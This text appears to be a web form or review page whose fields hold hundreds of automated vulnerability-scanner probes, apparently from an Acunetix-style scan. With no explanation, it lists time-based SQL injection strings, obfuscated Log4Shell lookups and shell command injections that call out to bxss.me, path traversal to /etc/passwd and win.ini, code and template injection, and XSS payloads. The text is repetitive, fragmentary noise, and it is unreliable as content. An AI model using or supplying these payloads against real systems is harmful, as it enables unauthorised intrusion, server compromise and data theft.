Mr.

555

Mr.

555

Mr.

555

Mr.

555

Mr.

555

Mr.

C6tSawAt

Mr.

-1 OR 2+196-196-1=0+0+0+1 --

Mr.

-1 OR 2+261-261-1=0+0+0+1

Mr.

-1' OR 2+712-712-1=0+0+0+1 --

Mr.

-1' OR 2+705-705-1=0+0+0+1 or 'TZWBaM3f'='

Mr.

-1" OR 2+39-39-1=0+0+0+1 --

Mr.

if(now()=sysdate(),sleep(15),0)

Mr.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Mr.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Mr.

-1; waitfor delay '0:0:15' --

Mr.

-1); waitfor delay '0:0:15' --

Mr.

-1)); waitfor delay '0:0:15' --

Mr.

1 waitfor delay '0:0:15' --

Mr.

lcnh0FB4'; waitfor delay '0:0:15' --

Mr.

demmbYxu'); waitfor delay '0:0:15' --

Mr.

4Qs9YGGy')); waitfor delay '0:0:15' --

Mr.

-5 OR 204=(SELECT 204 FROM PG_SLEEP(15))--

Mr.

-5) OR 354=(SELECT 354 FROM PG_SLEEP(15))--

Mr.

-1)) OR 502=(SELECT 502 FROM PG_SLEEP(15))--

Mr.

uh0JnN0M' OR 302=(SELECT 302 FROM PG_SLEEP(15))--

Mr.

7o5s5jTp') OR 102=(SELECT 102 FROM PG_SLEEP(15))--

Mr.

LYHWBc03')) OR 152=(SELECT 152 FROM PG_SLEEP(15))--

Mr.

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Mr.

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Mr.

1'"

Mr.

1����%2527%2522

Mr.

@@MdPrn

Mr.

555

Mr.

555

eXLwpjgK

555

-1 OR 2+532-532-1=0+0+0+1 --

555

-1 OR 2+667-667-1=0+0+0+1

555

-1' OR 2+903-903-1=0+0+0+1 --

555

-1' OR 2+973-973-1=0+0+0+1 or '604gWC7m'='

555

-1" OR 2+955-955-1=0+0+0+1 --

555

if(now()=sysdate(),sleep(15),0)

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

1 waitfor delay '0:0:15' --

555

RZN0Ezf4'; waitfor delay '0:0:15' --

555

DUURmZeT'); waitfor delay '0:0:15' --

555

I8RT1ytr')); waitfor delay '0:0:15' --

555

vflEiUtc' OR 575=(SELECT 575 FROM PG_SLEEP(15))--

555

YBFcA7DI') OR 633=(SELECT 633 FROM PG_SLEEP(15))--

555

CfIfzwmM')) OR 498=(SELECT 498 FROM PG_SLEEP(15))--

555

Mr.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

1'"

555

1����%2527%2522

555

@@aOEzv

555

Mr.

${j${::-n}di:dns${::-:}${::-/}/hitvmwcriztap5653d${::-.}bxss.me}zzzz

Mr.

�💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitorprmjgfyua7101${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Mr.

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.009247.80-6625.80.c4990${::-.}1${::-.}bxss.me}}

${j${::-n}di:dns${::-:}${::-/}/hitxwridpkmvl4fb27${::-.}bxss.me}zzzz

555

Mr.

response.write(9877990*9719190)

�💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitldvjdpdvuv11fe3${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

555

Mr.

'+response.write(9877990*9719190)+'

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.009247.80-6626.80.c4990${::-.}1${::-.}bxss.me}}

555

Mr.

"+response.write(9877990*9719190)+"

response.write(9676473*9200130)

555

'+response.write(9676473*9200130)+'

555

"+response.write(9676473*9200130)+"

555

Mr.

/../../../../../../../../../../windows/system32/BITSADMIN.exe

/../../../../../../../../../../windows/system32/BITSADMIN.exe

555

Mr.

fjqiwNzM

9OoehsF5

555

Mr.

555

Mr.

../../../../../../../../../../../../../../etc/passwd

Mr.

../../../../../../../../../../../../../../windows/win.ini

Mr.

echo feibrz$()\ cuuqhl\nz^xyu||a #' &echo feibrz$()\ cuuqhl\nz^xyu||a #|" &echo feibrz$()\ cuuqhl\nz^xyu||a #

Mr.

555

Mr.

&echo cjlcnw$()\ xblmvd\nz^xyu||a #' &echo cjlcnw$()\ xblmvd\nz^xyu||a #|" &echo cjlcnw$()\ xblmvd\nz^xyu||a #

Mr.

../555

Mr.

|echo wngmmi$()\ aopklx\nz^xyu||a #' |echo wngmmi$()\ aopklx\nz^xyu||a #|" |echo wngmmi$()\ aopklx\nz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

555

Mr.

(nslookup hitpwrkbhtapk99097.bxss.me||perl -e "gethostbyname('hitpwrkbhtapk99097.bxss.me')")

../../../../../../../../../../../../../../windows/win.ini

555

Mr.

$(nslookup hitpycbyvxziz8daa7.bxss.me||perl -e "gethostbyname('hitpycbyvxziz8daa7.bxss.me')")

Mr.

555

../Mr.

555

Mr.

&(nslookup hitgckbqzgwznc6485.bxss.me||perl -e "gethostbyname('hitgckbqzgwznc6485.bxss.me')")&'\"`0&(nslookup hitgckbqzgwznc6485.bxss.me||perl -e "gethostbyname('hitgckbqzgwznc6485.bxss.me')")&`'

Mr.

|(nslookup hitduwzfrbryba5888.bxss.me||perl -e "gethostbyname('hitduwzfrbryba5888.bxss.me')")

Mr.

`(nslookup hitiryapxitzdd3fef.bxss.me||perl -e "gethostbyname('hitiryapxitzdd3fef.bxss.me')")`

Mr.

555 bcc:009247.80-6632.80.c4990.19073.2@bxss.me

Mr.

;(nslookup hituetrjkipjk7e16e.bxss.me||perl -e "gethostbyname('hituetrjkipjk7e16e.bxss.me')")|(nslookup hituetrjkipjk7e16e.bxss.me||perl -e "gethostbyname('hituetrjkipjk7e16e.bxss.me')")&(nslookup hituetrjkipjk7e16e.bxss.me||perl -e "gethostbyname('hituetrjkipjk7e16e.bxss.me')")

Mr.

to@example.com> bcc:009247.80-6633.80.c4990.19073.2@bxss.me

echo zmvnbo$()\ yjhgpc\nz^xyu||a #' &echo zmvnbo$()\ yjhgpc\nz^xyu||a #|" &echo zmvnbo$()\ yjhgpc\nz^xyu||a #

555

Mr. bcc:009247.80-6634.80.c4990.19073.2@bxss.me

555

Mr.

555

&echo vsypgz$()\ inixwb\nz^xyu||a #' &echo vsypgz$()\ inixwb\nz^xyu||a #|" &echo vsypgz$()\ inixwb\nz^xyu||a #

555

to@example.com> bcc:009247.80-6635.80.c4990.19073.2@bxss.me

555

Mr.

|echo ubmcif$()\ izjgbl\nz^xyu||a #' |echo ubmcif$()\ izjgbl\nz^xyu||a #|" |echo ubmcif$()\ izjgbl\nz^xyu||a #

555

Mr.

12345'"\'\");|]*{ <>�''💡

Mr.

${9999045+10000403}

Mr.

555

${9999759+9999366}

555

(nslookup hitpywgznevdg0d8e2.bxss.me||perl -e "gethostbyname('hitpywgznevdg0d8e2.bxss.me')")

555

555

$(nslookup hitrjggjiosrd5c038.bxss.me||perl -e "gethostbyname('hitrjggjiosrd5c038.bxss.me')")

555

Mr.

555&n975220=v971504

12345'"\'\");|]*{ <>�''💡

555

Mr.

555

&(nslookup hitjnowuewjyqd158d.bxss.me||perl -e "gethostbyname('hitjnowuewjyqd158d.bxss.me')")&'\"`0&(nslookup hitjnowuewjyqd158d.bxss.me||perl -e "gethostbyname('hitjnowuewjyqd158d.bxss.me')")&`'

555

Mr.&n953830=v996746

555

|(nslookup hitnvwarqatxdc0341.bxss.me||perl -e "gethostbyname('hitnvwarqatxdc0341.bxss.me')")

555

Mr.

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

`(nslookup hitxcnsmnsjxsf3320.bxss.me||perl -e "gethostbyname('hitxcnsmnsjxsf3320.bxss.me')")`

555

Mr.

1some_inexistent_file_with_long_name.jpg

;(nslookup hitykgedbsdqn9c437.bxss.me||perl -e "gethostbyname('hitykgedbsdqn9c437.bxss.me')")|(nslookup hitykgedbsdqn9c437.bxss.me||perl -e "gethostbyname('hitykgedbsdqn9c437.bxss.me')")&(nslookup hitykgedbsdqn9c437.bxss.me||perl -e "gethostbyname('hitykgedbsdqn9c437.bxss.me')")

555

Mr.

Http://bxss.me/t/fit.txt

Mr.

)

Mr.

!(()&&!|*|*|

Mr.

http://bxss.me/t/fit.txt?.jpg

Mr.

^(#$!@#$)(()))******

Mr.

bxss.me

Mr.

'"()

Mr.

'.gethostbyname(lc('hitpp'.'eaxytdud1983b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(78).chr(118).chr(82).'

)

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.

555

'"()

555

1some_inexistent_file_with_long_name.

555

!(()&&!|*|*|

555

Mr.

".gethostbyname(lc("hitfg"."vvidamen26c81.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(82).chr(97).chr(90)."

Http://bxss.me/t/fit.txt

555

^(#$!@#$)(()))******

555

'.gethostbyname(lc('hitue'.'wykacnnxeb0ba.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(73).chr(108).chr(81).'

555

http://bxss.me/t/fit.txt?.

555

".gethostbyname(lc("hitsw"."azuqzuxfbbfcf.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(80).chr(106).chr(70)."

555

bxss.me

555

Mr.

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitweeulvoovvf2b8c.'+'bxss.me')

Mr.

HttP://bxss.me/t/xss.html?%00

Mr.

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitweeulvoovvf2b8c."+"bxss.me")+'

Mr.

bxss.me/t/xss.html?%00

Mr.

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

Mr.

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitweeulvoovvf2b8c.'+'bxss.me')+"

Mr.

"+"A".concat(70-3).concat(22*4).concat(99).concat(68).concat(107).concat(83)+(require"socket" Socket.gethostbyname("hitxr"+"gddmgpgy728ed.bxss.me.")[3].to_s)+"

Mr.

';print(md5(31337));$a='

HttP://bxss.me/t/xss.html?%00

555

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitenpssemftz3f474.'+'bxss.me')

555

Mr.

'+'A'.concat(70-3).concat(22*4).concat(113).concat(75).concat(97).concat(82)+(require'socket' Socket.gethostbyname('hitlw'+'mogmdoude8a05.bxss.me.')[3].to_s)+'

Mr.

";print(md5(31337));$a="

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitenpssemftz3f474."+"bxss.me")+'

555

bxss.me/t/xss.html?%00

555

"+"A".concat(70-3).concat(22*4).concat(116).concat(81).concat(107).concat(83)+(require"socket" Socket.gethostbyname("hitqa"+"cnokuywg666da.bxss.me.")[3].to_s)+"

555

Mr.

${@print(md5(31337))}

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitenpssemftz3f474.'+'bxss.me')+"

555

'+'A'.concat(70-3).concat(22*4).concat(109).concat(66).concat(110).concat(89)+(require'socket' Socket.gethostbyname('hitck'+'tcmvspgj43d86.bxss.me.')[3].to_s)+'

555

Mr.

${@print(md5(31337))}\

Mr.

'.print(md5(31337)).'

Mr.

http://hitlqesznldds.bxss.me/

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

http://hitjiuyidzopo.bxss.me/

555

Mr.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

Mr.

addreview

';print(md5(31337));$a='

555

Mr.

addreview

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

Mr.

/xfs.bxss.me

";print(md5(31337));$a="

555

Mr.

addreview/.

${@print(md5(31337))}

555

/xfs.bxss.me

555

addreview

555

${@print(md5(31337))}\

555

Mr.

'"

'.print(md5(31337)).'

555

addreview

555

Mr.

555

addreview/.

555

'"

555

Mr.

555

Mr.

5559368488

Mr.

acu1967＜s1﹥s2ʺs3ʹuca1967

Mr.

acux7496��z1��z2a�bcxuca7496

Mr.

<%={{={@{#{${acx}}%>

Mr.

555

Mr.

acx{{98991*97996}}xca

Mr.

acx{{98991*97996}}xca

Mr.

acx{98991*97996}xca

Mr.

acx${98991*97996}xca

Mr.

acx#{98991*97996}xca

Mr.

acx{#98991*97996}xca

Mr.

acx{@98991*97996}xca

Mr.

acx{{=98991*97996}}xca

Mr.

acx@(98991*97996)xca

Mr.

acx<%=98991*97996%>xca

Mr.

acx#set($x=98991*97996)${x}xca

Mr.

acx{{"abc"|title}}xca

Mr.

print("acx" . 98991*97996 . "xca");

Mr.

98991*97996*98991*97996

Mr.

acx{@math key=98991 method="multiply" operand=97996/}xca

Mr.

acx{{{this}}}xca

Mr.

#{98991*97996*98991*97996}

Mr.

acx#{xca}=123

Mr.

acx{{'abcd'.toUpperCase()}}xca

Mr.

AAABBBCCC{{define "bla"}}bla{{end}}{{define "acx"}}xyz{{end}}{{template "acx"}}CCCBBBAAA

Mr.

acx{{98991*97996}}xca

Mr.

acx[[${98991*97996}]]xca

Mr.

acx__${98991*97996}__::.x

Mr.

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

Mr.

%35%35%35%3C%53%63%52%69%50%74%20%3E%78%6E%35%42%289269%29%3C%2F%73%43%72%69%70%54%3E

Mr.

555\u003CScRiPt\xn5B(9208)\u003C/sCripT\u003E

Mr.

555&lt;ScRiPt&gt;xn5B(9825)&lt;/sCripT&gt;

Mr.

555}body{acu:Expre/**/SSion(xn5B(9828))}

Mr.9677222

555

acu6279＜s1﹥s2ʺs3ʹuca6279

555

acux10602��z1��z2a�bcxuca10602

555

<%={{={@{#{${acx}}%>

555

Mr.

555

acx{{98991*97996}}xca

555

acx{{98991*97996}}xca

555

acx{98991*97996}xca

555

acx${98991*97996}xca

555

acx#{98991*97996}xca

555

acx{#98991*97996}xca

555

acx{@98991*97996}xca

555

acx{{=98991*97996}}xca

555

acx@(98991*97996)xca

555

acx<%=98991*97996%>xca

555

acx#set($x=98991*97996)${x}xca

555

acx{{"abc"|title}}xca

555

print("acx" . 98991*97996 . "xca");

555

98991*97996*98991*97996

555

acx{@math key=98991 method="multiply" operand=97996/}xca

555

acx{{{this}}}xca

555

#{98991*97996*98991*97996}

555

acx#{xca}=123

555

acx{{'abcd'.toUpperCase()}}xca

555

AAABBBCCC{{define "bla"}}bla{{end}}{{define "acx"}}xyz{{end}}{{template "acx"}}CCCBBBAAA

555

acx{{98991*97996}}xca

555

acx[[${98991*97996}]]xca

555

acx__${98991*97996}__::.x

555

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

%4D%72%2E%3C%53%63%52%69%50%74%20%3E%78%6E%35%42%289399%29%3C%2F%73%43%72%69%70%54%3E

555

Mr.\u003CScRiPt\xn5B(9758)\u003C/sCripT\u003E

555

Mr.&lt;ScRiPt&gt;xn5B(9555)&lt;/sCripT&gt;

555

Mr.}body{acu:Expre/**/SSion(xn5B(9026))}

555

Mr.

555